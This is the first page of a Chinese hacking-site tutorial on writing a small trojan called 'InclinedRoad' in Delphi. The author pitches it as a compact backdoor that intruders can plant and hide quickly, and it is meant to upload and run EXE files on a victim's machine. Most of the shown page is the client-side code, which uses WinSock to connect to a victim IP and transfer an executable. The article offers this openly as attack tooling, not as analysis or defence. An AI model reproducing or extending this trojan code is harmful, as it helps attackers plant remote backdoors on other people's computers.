首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 黑客进阶 → 文章内容

使用Delphi打造木马--Delphi,木马

作者:佚名  来源:网上收集  发布时间:2006-11-21 21:50:45

价一匹木马的优略,除了功能的多少外,还有一点是必须具备的,那就是必须要小巧。只有小巧才能以最快的手段来种植,只有小巧才能更好的隐藏和捆绑。入侵过程中,有时候机会稍纵即逝,为了在很短的时间内种植后门,就必须使用小巧的木马来当先行者。现在的黑客入侵越来越注重木马的大小。只有那些刚刚接触木马的新手才会使用体型庞大的后门程序。 

我一直在想,使用delphi到底能写出多小的木马程序来?这个问题其实困绕了我很长一段时间。虽然Delphi是个很有效率的开发工具,但是它有一个缺点就是生成的EXE文件太大。一个程序就算只有一个空窗口体积也有286KB。怎么样才能把它变小呢?在经过多方面的查找资料和学习,功夫不负有心人。我终于写出来一个56K的小木马“InclinedRoad”(使用了UPX压缩),它的功能非常简单,只有上传和运行EXE程序的功能,不过这样已经足够当木马程序用了。 

其实也没有使用什么高深的技术,只是利用了WinSock API 来进行Socket编程,这些都是别人用剩下的东西,我之所以提一下,只是因为这方面编写木马的资料比较少。Delphi中各种网络组件的强大功能,都是建立在WinSock API基础之上的。具体的内容我不多说了,这里推荐一本书——《DELPHI深度编程及其项目应用开发》。这本书上面的“Socket编程”一章讲的非常详细,自己看就可以了。并且在我所写的木马中,里面的一些关键性代码,也是参考了这本书上的例子。废话少说,下面讲一讲木马“InclinedRoad”的开发过程: 

木马客户端关键性代码: 
//创建窗体时,启动WinSock动态链接库 
procedure TForm1.FormCreate(Sender: TObject); 
var 
awsadata:twsadata; 
begin 
if wsastartup($0101,awsadata)〈〉0 then 
raise exception.Create('不能启动winsock动态链接库'); 
end; 
//当窗体关闭时,释放WinSock动态链接库 
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); 
begin 
if wsacleanup〈〉 0 then 
messagebox (handle,'清除WINSOCK动态链接库错误!','http://sforever.mycool.net',MB_OK) 
ELSE 
//清除WINSOCK动态链接库成功 
closesocket(client); 
end; 
procedure tform1.transfile(filename:string); //发送文件过程 
var 
ftrans:file of byte; 
flen:integer; 
blocknum,remainlen:integer; 
blockbuf:array[0..blocklen - 1] of byte; 
i:integer; 
sendlen:integer; 
begin 
assignfile(ftrans,filename); 
reset(ftrans); 
flen:=filesize(ftrans); 
blocknum:=flen div blocklen; 
progressbar1.max:=1 + blocknum; 
remainlen:=flen mod blocklen; 
sendlen:=1; 
for i:=0 to blocknum -1 do 
begin 
if (sendlen 〈= 0) then break; 
blockread(ftrans,blockbuf[0],blocklen); 
sendlen:=send(client,blockbuf,blocklen,0); 
progressbar1.position:=i; 
application.ProcessMessages; 
end; 
if (sendlen 〈= 0) then 
begin 
closefile(ftrans); 
messagebox(handle,'传输异常终止','错误',mb_ok); 
progressbar1.position:=0; 
exit; 
end; 
if remainlen 〉 0 then 
begin 
blockread(ftrans,blockbuf[0], remainlen); 
sendlen:=send(client, blockbuf, remainlen,0); 
if (sendlen 〈= 0) then 
begin 
closefile(ftrans); 
messagebox(handle,'传输异常终止!!','错误',mb_ok); 
progressbar1.position:=0; 
exit; 
end; 
end; 
progressbar1.position:=progressbar1.max; 
closefile(ftrans); 
messagebox(handle,'传输文件完毕!!','完成',mb_ok); 
progressbar1.position:=0; 
end; 
procedure TForm1.Button1Click(Sender: TObject); //建立连接 
var 
ca:sockaddr_in; 
hostaddr:u_long; 
begin 
//创建客户端的Socket 
client:=socket(pf_inet,sock_stream, ipproto_ip); 
if client = invalid_socket then 
begin 
messagebox(handle,'创建Socket错误!','错误',mb_ok); 
exit; 
end; 
ca.sin_family:= pf_inet; 
ca.sin_port:=htons(strtoint(trim(edit2.text))); 
hostaddr:=inet_addr(pchar(trim(edit1.text))); 
//判断IP地址是否合法 
if (hostaddr = -1) then 
begin 
messagebox(handle,'IP地址错误','错误',mb_ok); 
exit; 
end 
else 
ca.sin_addr.s_addr:=hostaddr; 
//连接服务器 
if connect(client, ca, sizeof(ca))〈〉0 then 
begin 
Application.MessageBox('建立连接失败!!','错误',mb_ok); 
exit; 
end 
else 
Application.MessageBox('建立连接成功','错误',mb_ok); 
end; 
procedure TForm1.Button2Click(Sender: TObject); //发送EXE文件 
var 
info:string; 
bufsend:pchar; 
re:integer; 
begin 
getmem(bufsend,1024); 
zeromemory(bufsend,1024); 
info:=extractfilename(OpenDialog1.filename); 
strpcopy(bufsend,info); 
re:=send(client,bufsend^,length(bufsend),0); 
if(re = socket_error) then 
begin 
exit; 
end; 
if (OpenDialog1.execute) and (fileexists(OpenDialog1.filename)) then 
transfile(OpenDialog1.filename); 
end; 
procedure TForm1.Button3Click(Sender: TObject); //退出程序并运行传输的EXE文件 
begin 
close; 
end; 

[1] [2] [3]  下一页

[] [返回上一页] [打 印]
  • 上一篇文章:利用SQL触发器进行入侵--SQL,触发器,入侵
  • 下一篇文章:网站记录密码绝招--记录,密码,网站

  • 相关文章:
  • 木马后门端口复用技术的实现(delphi)--delphi,木马...
  • 使用Delphi打造木马--Delphi,木马
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号